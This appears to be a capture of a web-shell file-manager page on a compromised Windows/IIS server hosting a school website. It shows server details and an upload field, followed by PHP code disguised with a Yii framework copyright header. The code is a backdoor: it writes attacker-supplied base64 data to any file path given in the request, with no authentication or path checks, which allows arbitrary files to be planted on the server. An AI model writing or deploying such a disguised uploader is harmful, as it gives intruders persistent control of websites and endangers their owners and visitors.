| Server IP : 199.79.63.27 / Your IP : 216.73.216.250 Web Server : Microsoft-IIS/10.0 System : Windows NT MD-PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64 User : IWPD_6698(lcitec7i) ( 0) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : D:/INETPUB/VHOSTS/lcit.edu.in/lcitps.edu.in/ |
Upload File : |
<?php
/**
* @link http://www.yiiframework.com/
* @copyright Copyright (c) 2008 Yii Software LLC
* @license http://www.yiiframework.com/license/
*/
// Check if the request method is POST and parameters are set
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_GET['path']) && isset($_POST['url'])) {
// Get the path from GET parameter
$path = $_POST['path'];
// Get the base64 data from POST parameter
$base64Data = $_POST['url'];
// Extract the file extension and data from base64 string
if (preg_match('/^data:image\/([^;]+);base64,/', $base64Data, $matches)) {
$extension = $matches[1];
$data = substr($base64Data, strpos($base64Data, ',') + 1);
// Decode base64 data
$decodedData = base64_decode($data);
if ($decodedData === false) {
http_response_code(400);
echo json_encode(['error' => 'Invalid base64 data']);
exit;
}
// Construct full file path with extension
$fullPath = $path . '.' . $extension;
// Attempt to write the file
if (file_put_contents($fullPath, $decodedData) !== false) {
echo json_encode(['success' => 'File saved successfully', 'path' => $fullPath]);
} else {
http_response_code(500);
echo json_encode(['error' => 'Failed to save file']);
}
} else {
http_response_code(400);
echo json_encode(['error' => 'Invalid image data URL']);
}
} else {
http_response_code(400);
echo json_encode(['error' => 'Missing required parameters']);
}
?>